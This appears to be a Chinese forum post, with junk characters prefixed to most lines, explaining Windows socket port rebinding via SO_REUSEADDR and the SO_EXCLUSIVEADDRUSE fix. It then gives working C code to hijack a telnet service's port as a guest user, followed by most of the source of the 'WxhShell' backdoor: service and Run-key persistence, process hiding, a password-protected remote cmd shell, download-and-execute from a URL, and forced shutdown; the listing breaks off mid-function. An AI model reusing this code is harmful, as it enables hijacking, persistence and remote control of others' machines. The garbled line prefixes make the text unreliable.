在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
uCB9;+ Hjw s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\h#aPG<yo W7uX saddr.sin_family = AF_INET;
5U7,,oyh :stHc,
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:s_.K'4?a : H;S"D bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
iE"]S ) }YdC[b$j^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
&2XH.$Q mm+V*L{x 这意味着什么?意味着可以进行如下的攻击:
5)XUT`;'){ ,P}7e)3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
&t<gK
D ^uUA41o`eJ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
}W:Z>vam+ lG'D/# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5|~g2Zz{; WM|G/'q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
fT Pm
Fb iZfZF 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Sdmz(R PjBAf' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
DVhBZ!u9 t adeG 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+u$JMp Pv2uZH( #include
RN)XIf$@_ #include
9:@Xz5 #include
{f`Y\_r$@ #include
]j:k!=Ss? DWORD WINAPI ClientThread(LPVOID lpParam);
MF'Z?M int main()
0;><@{' {
Za!KM WORD wVersionRequested;
]vf0 f,F DWORD ret;
fK=0?]s}I WSADATA wsaData;
qy pF}Pw BOOL val;
:tO4LEb SOCKADDR_IN saddr;
zuN(~>YH SOCKADDR_IN scaddr;
%/e'6g< int err;
?:`sE" SOCKET s;
ps2j ]g SOCKET sc;
02[m{a- int caddsize;
Q?1.GuF HANDLE mt;
a_}C*+D DWORD tid;
{0F/6GwUC wVersionRequested = MAKEWORD( 2, 2 );
"t^RZ45 err = WSAStartup( wVersionRequested, &wsaData );
f4.jWBF if ( err != 0 ) {
q>'#; QA printf("error!WSAStartup failed!\n");
D6@ c|O{Q return -1;
!5De?OXe }
\8C<nh saddr.sin_family = AF_INET;
#n+u>x.O iYT?6Y|+ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
HN367j2 e Ln&~t(7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7c(j1:Ku- saddr.sin_port = htons(23);
s) s9Z,HY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
uVD^X* {
z{Yfiv\-r printf("error!socket failed!\n");
H[?S*/n,< return -1;
p%*s3E1.D }
Sw E7U~ val = TRUE;
&AxtSIpucP //SO_REUSEADDR选项就是可以实现端口重绑定的
SW}Rkr\e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"AjC2P], {
h@O\j&# printf("error!setsockopt failed!\n");
",aNYJR>*! return -1;
~{{S<S
v }
x#SE%j? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
M.dX;iM< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^g(qPtQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
o%j?}J7y \='LR!_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
JL#LCU
? {
M}X ` ret=GetLastError();
,rN$ah$CL printf("error!bind failed!\n");
hfIP
return -1;
}xr0m+/ }
:I&y@@UG listen(s,2);
_XP}fx7$C while(1)
DRRQ]eK0 {
7{M&9| aK caddsize = sizeof(scaddr);
(|AZO! //接受连接请求
X(E`cH
| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#]1jvB if(sc!=INVALID_SOCKET)
ENqZ=Lyq {
%pxJ2 7Q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Z>g&%3j if(mt==NULL)
iTdamu`L {
kw z6SObQ printf("Thread Creat Failed!\n");
mgH~GKf^ break;
T$0)un }
;|XX^ }
0#'MR., CloseHandle(mt);
fCNQUK{Gs5 }
e}{#VB< closesocket(s);
*^;
MWI WSACleanup();
}XUI1H]jk return 0;
e^@ZN9qQ }
Bt")RG DWORD WINAPI ClientThread(LPVOID lpParam)
M1/(Xla3 {
'C7R*
P SOCKET ss = (SOCKET)lpParam;
q90RTX'CY SOCKET sc;
xC9?rLUZ unsigned char buf[4096];
9xJtDdy-O SOCKADDR_IN saddr;
uHacu<$= long num;
J?#vL\8 DWORD val;
pFMjfWD,C DWORD ret;
PhuHfw4$y, //如果是隐藏端口应用的话,可以在此处加一些判断
Ppl :_Of //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
j|[$P4w}U saddr.sin_family = AF_INET;
F|+B8&-v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
_nz_.w0H9 saddr.sin_port = htons(23);
Pm^FSw" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9 9:.j= {
<<cezSm printf("error!socket failed!\n");
tR9iFv_ return -1;
?m5"|f\ }
'z}9BGR! val = 100;
/0k'w%V{n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}sqFvab< {
!jB}}&Ii ret = GetLastError();
B+Qo{- return -1;
+<@1)qZ(E }
O\cc=7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`2+TN {
C[Q4OAFG ret = GetLastError();
U:7w8$_ return -1;
`x?_yogPM }
eV(.\Lj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
,ko#z}Z4r, {
X)j%v\#`U printf("error!socket connect failed!\n");
*B@#A4f" closesocket(sc);
]b;a~Y0 closesocket(ss);
QhTn9S:D return -1;
t5b cQ@Y }
@kDY c8 t9 while(1)
.EWj eVq {
\rh+\9( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
tkptm%I_
//如果是嗅探内容的话,可以再此处进行内容分析和记录
'6\w4J( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
c^H#[<6p num = recv(ss,buf,4096,0);
f:P;_/cJc if(num>0)
lz>.mXdx send(sc,buf,num,0);
v h)CB8 else if(num==0)
$_'<kH-eP break;
ncUhCp?' num = recv(sc,buf,4096,0);
->{\7|^ if(num>0)
#%$@[4"V send(ss,buf,num,0);
YVF@v-v-, else if(num==0)
$SA
@ " break;
f$}g'r zl }
:rufnmsP<U closesocket(ss);
0wqw5KC closesocket(sc);
rVOF return 0 ;
daA&!vnbH* }
,'YKL", nzAySMD_ ZBU<L+# ==========================================================
krlebPs[ u#u/uS" 下边附上一个代码,,WXhSHELL
IAb.Z+ig .&b c3cW ==========================================================
o:5mgf7 PQF
40g1} #include "stdafx.h"
,f?B((l Y*lc ~X #include <stdio.h>
"IJ1b~j? #include <string.h>
:ba4E[@ #include <windows.h>
AGwdM-$iT #include <winsock2.h>
Oel%lY}m3 #include <winsvc.h>
P^q!Pye #include <urlmon.h>
pox;NdX7 Wo9=cYC) #pragma comment (lib, "Ws2_32.lib")
ia.+<,
$`S #pragma comment (lib, "urlmon.lib")
YGyw^$.w nWf8r8 #define MAX_USER 100 // 最大客户端连接数
9"Dt3>Z #define BUF_SOCK 200 // sock buffer
7r(c@4yPI #define KEY_BUFF 255 // 输入 buffer
}(na)B{m B\=T_'E& #define REBOOT 0 // 重启
`\ nKPj #define SHUTDOWN 1 // 关机
&432/=QSm0 1z,P"?Q #define DEF_PORT 5000 // 监听端口
Um-Xb'R*]V +Swl$ab #define REG_LEN 16 // 注册表键长度
F2(^OFh #define SVC_LEN 80 // NT服务名长度
cF9ZnT. h3\(660>$ // 从dll定义API
p@DVy2,EY typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
3WGOftLzt typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5Em.sz;:8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\G/ZA) t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
A2PeI"y 8 f~M6 // wxhshell配置信息
':\bn:; struct WSCFG {
h6`VU`pPI int ws_port; // 监听端口
\Yv44*I` char ws_passstr[REG_LEN]; // 口令
md9JvbB int ws_autoins; // 安装标记, 1=yes 0=no
Yu[MNX;G char ws_regname[REG_LEN]; // 注册表键名
*ZRk) char ws_svcname[REG_LEN]; // 服务名
6khm@}} char ws_svcdisp[SVC_LEN]; // 服务显示名
W8]?dL}| char ws_svcdesc[SVC_LEN]; // 服务描述信息
_S &6XNV char ws_passmsg[SVC_LEN]; // 密码输入提示信息
F5UHkv"K&O int ws_downexe; // 下载执行标记, 1=yes 0=no
[
f<g?w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
4w 7vgB char ws_filenam[SVC_LEN]; // 下载后保存的文件名
3s*mq@~1X `'(@"-L:7 };
La7}zXx BT -Y9j // default Wxhshell configuration
)iPU struct WSCFG wscfg={DEF_PORT,
U~zy;MT "xuhuanlingzhe",
CX{M@x3m 1,
}Vm'0 "Wxhshell",
g+&wgyq5 "Wxhshell",
"KC3+:tm "WxhShell Service",
jW| ,5,43 "Wrsky Windows CmdShell Service",
?^8.Sa{ "Please Input Your Password: ",
0+_;6 1,
4q@[k:' "
http://www.wrsky.com/wxhshell.exe",
I.2>d_^< "Wxhshell.exe"
8y?q)y9h };
S@,x^/vT 0@&;JMh6< // 消息定义模块
^d9o \ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
^@'zQa char *msg_ws_prompt="\n\r? for help\n\r#>";
wv%UsfD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ph~#{B(\ char *msg_ws_ext="\n\rExit.";
d(Yuz#Qcrh char *msg_ws_end="\n\rQuit.";
M|.ykA<D char *msg_ws_boot="\n\rReboot...";
"zIQ(|TL?d char *msg_ws_poff="\n\rShutdown...";
)4YtdAV char *msg_ws_down="\n\rSave to ";
6UPGE",u kZ^wc . char *msg_ws_err="\n\rErr!";
UG]5Dxk char *msg_ws_ok="\n\rOK!";
WL\*g] K4 ej(w{vl char ExeFile[MAX_PATH];
vL;=qkTCQ int nUser = 0;
bGj<Dojl HANDLE handles[MAX_USER];
?U*s H2F int OsIsNt;
S.C7%XU Yka>r9wr SERVICE_STATUS serviceStatus;
iNn?G C> SERVICE_STATUS_HANDLE hServiceStatusHandle;
aMgg[g9>t EY :EpVin // 函数声明
LXc;`] int Install(void);
_ UF'Cf+Y int Uninstall(void);
kRiZ6mn int DownloadFile(char *sURL, SOCKET wsh);
ar`}+2Qh0 int Boot(int flag);
2m&?t_W void HideProc(void);
/w*HxtwFmD int GetOsVer(void);
@]],H0 int Wxhshell(SOCKET wsl);
M!PK3 void TalkWithClient(void *cs);
t |:XSJ9 int CmdShell(SOCKET sock);
^g+M=jq _ int StartFromService(void);
ef:Zi_o int StartWxhshell(LPSTR lpCmdLine);
iSMVV<7 uKT\\1Jrq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{~=gKZ:-@ VOID WINAPI NTServiceHandler( DWORD fdwControl );
D rouEm (rf8"T!" // 数据结构和表定义
<$nMqUu0 SERVICE_TABLE_ENTRY DispatchTable[] =
Wb{8WPS {
`~qVo4V6Z {wscfg.ws_svcname, NTServiceMain},
1lv.@- {NULL, NULL}
lIatM@gU };
8{Wh4~|+ niCq`! // 自我安装
sQ82(N7l int Install(void)
4}^\&K&t{ {
# 9ZO1\ char svExeFile[MAX_PATH];
.YIb ny1 HKEY key;
-s:NF;" strcpy(svExeFile,ExeFile);
j&,%v+x /.1h_[K] // 如果是win9x系统,修改注册表设为自启动
&<5oDdC if(!OsIsNt) {
k8ymOx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wpJfP_H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N..@}} RegCloseKey(key);
iM{aRFL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h{VGhkU9f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p-%m/d? RegCloseKey(key);
].
^e[v6 return 0;
'n!Sco)C }
]~m2#g% }
Ktf lbI! }
Ni61o?]Nj else {
|+Ub3<b[] #xxs^Kbqa# // 如果是NT以上系统,安装为系统服务
gG46hO-M%x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
fh}j)*K8 if (schSCManager!=0)
|uln<nM9 {
izP>w*/nO SC_HANDLE schService = CreateService
-Wl79lE (
KrD?Z2x schSCManager,
U\tujK1 wscfg.ws_svcname,
)u5+<OG}= wscfg.ws_svcdisp,
PPj0LFA SERVICE_ALL_ACCESS,
->U9u lTC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
:]IYw!_-p SERVICE_AUTO_START,
_i1x\Z~
N SERVICE_ERROR_NORMAL,
E#+|.0*!s svExeFile,
+C9l7 q NULL,
?{-y? %y NULL,
Lc13PTz>>g NULL,
oyo
V1jO NULL,
Z|$OPMLX NULL
UxVxnJ_ );
+S}/6dg if (schService!=0)
25jgM!QBXF {
X\LiV{c CloseServiceHandle(schService);
q{oppali CloseServiceHandle(schSCManager);
\MFjb IL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1mz72K strcat(svExeFile,wscfg.ws_svcname);
!5[5l!{x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
2z027P-Q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
x]jJ RegCloseKey(key);
U>kL|X3 V return 0;
*`wgqin }
6J%yo[A(w }
$#F7C[2N CloseServiceHandle(schSCManager);
NYp46; }
3 n=ftkI }
.uu[MzMIu XSz)$9~hk return 1;
~i/K7qZ }
xsdi\
j;n> '#@tovr // 自我卸载
qFYM2 int Uninstall(void)
H~r":A'"* {
Lkl^
` HKEY key;
$23dcC*hI $|bdeQPr\ if(!OsIsNt) {
:Z5Twb3h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xc6A&b>jI RegDeleteValue(key,wscfg.ws_regname);
5\eM3w'd RegCloseKey(key);
6'1m3<G_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
XhG3Of-6 RegDeleteValue(key,wscfg.ws_regname);
B1Cu?k);. RegCloseKey(key);
uu+)r return 0;
*.F4?i2D }
T:(c/> }
'Q F@@ 48 }
I9;,qd%<T else {
`E2HQA@ Z`Sbq{Kx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
/L? ia if (schSCManager!=0)
2io~pk> {
Z</.Ss 4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(S1Co&SX if (schService!=0)
C(kIj {
ct![eWsuB if(DeleteService(schService)!=0) {
~zT7 43 CloseServiceHandle(schService);
R\d)kcy4 CloseServiceHandle(schSCManager);
tKKQli4Mn4 return 0;
,c9K]>8m` }
&pZncm CloseServiceHandle(schService);
RYuR&0_{ }
zyi;vu CloseServiceHandle(schSCManager);
wmnh7'|0u }
MGE8S$Z }
QNesiV0MI wPrqFpf return 1;
/[RO>Z9 }
#[.aj2 | )M>;q // 从指定url下载文件
o6T'U#7P int DownloadFile(char *sURL, SOCKET wsh)
@J UCXm {
5>u,Qh HRESULT hr;
)7s(]~z char seps[]= "/";
U/l3C(bc! char *token;
sw$$I~21 char *file;
\olYv!f char myURL[MAX_PATH];
I$w:qS&: char myFILE[MAX_PATH];
Iu|4QE pDV8B/{ strcpy(myURL,sURL);
w=feXA3-S token=strtok(myURL,seps);
/@QPJ~%8Ud while(token!=NULL)
@pkQ2OM
2 {
Usz O--.C file=token;
@[. 0, token=strtok(NULL,seps);
T_/ n#e }
0l+[[ZTV H4"'&A7$ GetCurrentDirectory(MAX_PATH,myFILE);
s2*~n_B strcat(myFILE, "\\");
-h8@B+ strcat(myFILE, file);
c1aIZ send(wsh,myFILE,strlen(myFILE),0);
[h[@?8vB send(wsh,"...",3,0);
e> -fI_+b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
h"$ )[k~ if(hr==S_OK)
mfCp@1;26 return 0;
G3_HX<|f* else
qbD>)}:1 return 1;
ykat0iqo ;Qq<5I"y }
<<l1zEf@ YgL{*XYAt // 系统电源模块
eNc>^:&y* int Boot(int flag)
^2)<H7p {
xh|<`>5 HANDLE hToken;
&UfP8GE9 TOKEN_PRIVILEGES tkp;
RBOg;EJ iV2v<ap.n if(OsIsNt) {
!\Vc#dslt OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
(utk) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
g?E8zf ` tkp.PrivilegeCount = 1;
F0x'^Z}Q; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7*\CfqrU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
n5>OZ3 E@ if(flag==REBOOT) {
HP2J`>oo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!hWS%m@ return 0;
yB2}[1 }
WiiAIv& else {
*!m(oP if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u1;sH{YK> return 0;
mr2fNA>kR }
dwJnPJ=z }
34<k)0sO else {
y/>IF|aX if(flag==REBOOT) {
uF<}zFS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
x@#aOf4<U return 0;
zw[ #B # }
as3*49^9 else {
;:obg/;uJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jG["#5<? return 0;
H[2W(q6 }
%Hu?syo }
AjD?_DPc ,s`4k?y return 1;
4@r76v}{ }
G3dA`3 w8}jmpnI // win9x进程隐藏模块
)m_q2xV void HideProc(void)
|'qvq/#^ {
/(8"9Sfm :Lu 9w0>f HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
R4vf if ( hKernel != NULL )
YHzP/&0 {
U%)-_
*`z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
J_ 7#UjGA, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
g&I|@$\ FreeLibrary(hKernel);
8_/,`}9
}
@Nn'G{8OG %>-?oor return;
=z zmz7op }
RA1K$D ?A nxMZd=Y // 获取操作系统版本
BU.O[?@64 int GetOsVer(void)
:!yPR {
~s*kuj'%+ OSVERSIONINFO winfo;
&}r-C97 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
qs{wrem GetVersionEx(&winfo);
d<RJH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
w@WPp0mny return 1;
Fv<3VKueK[ else
_N:GZLG return 0;
UM2yv6:/ }
=[,EFkU?B !v.
<H]s) // 客户端句柄模块
lYT_Y.%I int Wxhshell(SOCKET wsl)
MY'T%_id {
B ?l0u SOCKET wsh;
I%l2_hs0V struct sockaddr_in client;
x>tsI}C DWORD myID;
@%jY c 5 `74g while(nUser<MAX_USER)
U".5x~UC {
upnX7as int nSize=sizeof(client);
;FJFr*PM wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[>KnMi=o) if(wsh==INVALID_SOCKET) return 1;
=q}Z2 OoYh KAgxIz!^-1 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
|$g} &P8; if(handles[nUser]==0)
*!pn6OJ"Q} closesocket(wsh);
OwPXQ 3S else
Jl<pWjkZZ nUser++;
^l<!:SS }
k}C4:?AT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
WO6R04+WV qM<CBcON return 0;
m48Ab` }
{YG qa$+\ p'A43 // 关闭 socket
'61>.u:2 void CloseIt(SOCKET wsh)
"U/yq {
Nw{Cu+AwG closesocket(wsh);
iJ`zWpj+{Q nUser--;
/>wE[` ExitThread(0);
gC(@]% }
L;WFHIE 0BH-kr // 客户端请求句柄
(/FG#D. void TalkWithClient(void *cs)
]=PkgOJD {
GI@;76Qf q4v:s SOCKET wsh=(SOCKET)cs;
5O;D\M{> char pwd[SVC_LEN];
l#~pK6@W char cmd[KEY_BUFF];
R90#T6^ char chr[1];
V|~o`(] int i,j;
U>sEFzBup eD8e0
D'S while (nUser < MAX_USER) {
|{JI=$ |w+
O.%= if(wscfg.ws_passstr) {
rZWs-]s6t if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ckc5;:b&m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kj6H+@
{ //ZeroMemory(pwd,KEY_BUFF);
#lO ^PK i=0;
[=",R&uD$ while(i<SVC_LEN) {
`Tei p[&b@U# // 设置超时
oJQ
\?~ fd_set FdRead;
z;MPp#Y struct timeval TimeOut;
D8{,}@ FD_ZERO(&FdRead);
U }AIOtUw FD_SET(wsh,&FdRead);
6Yc(|>b! TimeOut.tv_sec=8;
X` J86G ) TimeOut.tv_usec=0;
B*t1Y<>x int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
mZG n:f}= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4;Vi@(G) vCXmu_S4^> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
w
^?#xU1.i pwd
=chr[0]; 2x<!>B
if(chr[0]==0xd || chr[0]==0xa) { Fy0sn|
pwd=0; L6#4A3yh
break; }1%%`
} T$<yl#FY
i++; 3.1%L"r[)
} fzA Fn$[
x6^Y&,y9kU
// 如果是非法用户,关闭 socket @AM11v\:
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e)N<r
} +z:>Nl
/4N ?v. jf
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hiEYIx
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mkhWbzD'S
_8!x
while(1) { 0X4)=sJP
7&9w_iCkV
ZeroMemory(cmd,KEY_BUFF); slhMvHOk-
~KV{m
// 自动支持客户端 telnet标准 *nc3A[B#C
j=0; f'w`<
while(j<KEY_BUFF) { {> <1K6t
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7XLqP
cmd[j]=chr[0]; rxqSi0p
if(chr[0]==0xa || chr[0]==0xd) { ve:Oe{Ie{
cmd[j]=0; 8&nb@l
break; 3,K\ZUU.,
} A7,%'.k
j++; BzS\p3&
} O=*,
(> _Lb
// 下载文件 |rG)Q0H,
if(strstr(cmd,"http://")) { !dUdz7
send(wsh,msg_ws_down,strlen(msg_ws_down),0); EeT69o
if(DownloadFile(cmd,wsh)) gwdAf%|f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KVh#"]<WV
else {bR2S&=OmK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N&eo;Ti
} _RUL$Ds
else { ^*.+4iHx
hlZ{bO'f
switch(cmd[0]) { SM%/pu;
D.Cn`O}
// 帮助 jm@,Ihz=wI
case '?': { ];"40 /X
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o"FR%%
break; r
d-yqdJ
} g{i= $xc
// 安装 5IOGH*'U8
case 'i': { em5~4;&'
if(Install()) e&*b{>1*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tW94\3)1
else O9E:QN<U`*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LokH4A17U
break; TOF V`7q;3
} RwYFBc
// 卸载 ?{jey_]M
case 'r': { &3;"$P
if(Uninstall())
D~BL Txq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g4W/T
else H(tC4'tA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D[?;+g/
break; }mzd23^W>P
} idGn{f((f
// 显示 wxhshell 所在路径 s^SU6P/]
case 'p': { "(vK.-T
char svExeFile[MAX_PATH]; ^1vKhO+p$
strcpy(svExeFile,"\n\r"); 2~l7WW+lx,
strcat(svExeFile,ExeFile); F_9
4k
send(wsh,svExeFile,strlen(svExeFile),0); k52IvB@2
break; MmfBFt*
} +3o0GJ
// 重启 sW'_K.z
case 'b': { [7d(PEQL`
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *9uNM@7&0
if(Boot(REBOOT)) ^_g%c&H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !LM`2|3$
else { :o8|P
closesocket(wsh); 4hLk+ z<n
ExitThread(0); @/|g|4
} <#4""FO*
break; ZSW@,Ti
} iw=e"6V
// 关机 sNcU>qjj6
case 'd': { p
JT)X8K"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /]'&cD 1
if(Boot(SHUTDOWN)) : r ~iFP*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J(@" 7RX
else { 8h }a:/
closesocket(wsh); *~shvtq
ExitThread(0); U# S-x5Gn
} 2oV6#!{Z
break; F6111Q </
} 1^*ogMe
// 获取shell LAo$AiTUR{
case 's': { [Z"Z5e`
CmdShell(wsh); ib#rT{e
closesocket(wsh); 0%%U7GFB5
ExitThread(0); nW"O+s3
break; VevG 64o
} K-)!d$$
// 退出 D_0sXIbg
case 'x': { ybqmPT'|_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )W>$_QxbN
CloseIt(wsh); T#i;=NP"
break; x {Utf$|
} yP"}(!~m
// 离开 |;xEKnF
case 'q': { JbL3/h]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Dy,MQIM|!
closesocket(wsh); 8s2y!pn7Q
WSACleanup(); U5wh( vi
exit(1); Zi+F IQ(
break; Gf3-%s xA
} :wXiz`VH
} #::+# G
} !-^oU"
u"V,/1++\
// 提示信息 >
^zNKgSQ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7gN;9pc$
} pZopdEFDK|
} 6E
K <9M
5,##p"O(
return; -dO8Uis$
} q4w]9b/
p+|8(w9A${
// shell模块句柄 Z!~_#_Ugl
int CmdShell(SOCKET sock) w(aj' i
{ ,$/Ld76U
STARTUPINFO si; 5I1YB+$}e
ZeroMemory(&si,sizeof(si)); nRB3VsL
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &'&)E((
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }xt^}:D
PROCESS_INFORMATION ProcessInfo; ?!U.o1
char cmdline[]="cmd"; C]8w[)d[`;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \V!{z;.fA
return 0; 8..|-<w
} J^yqu{
X,aRL6>r
// 自身启动模式 6`Y:f[VB
int StartFromService(void) }Vob)r{R@
{ )Jk$j
typedef struct "5<!
{ ><D2of|
DWORD ExitStatus; keRLai7h
DWORD PebBaseAddress; Y)F(-H)
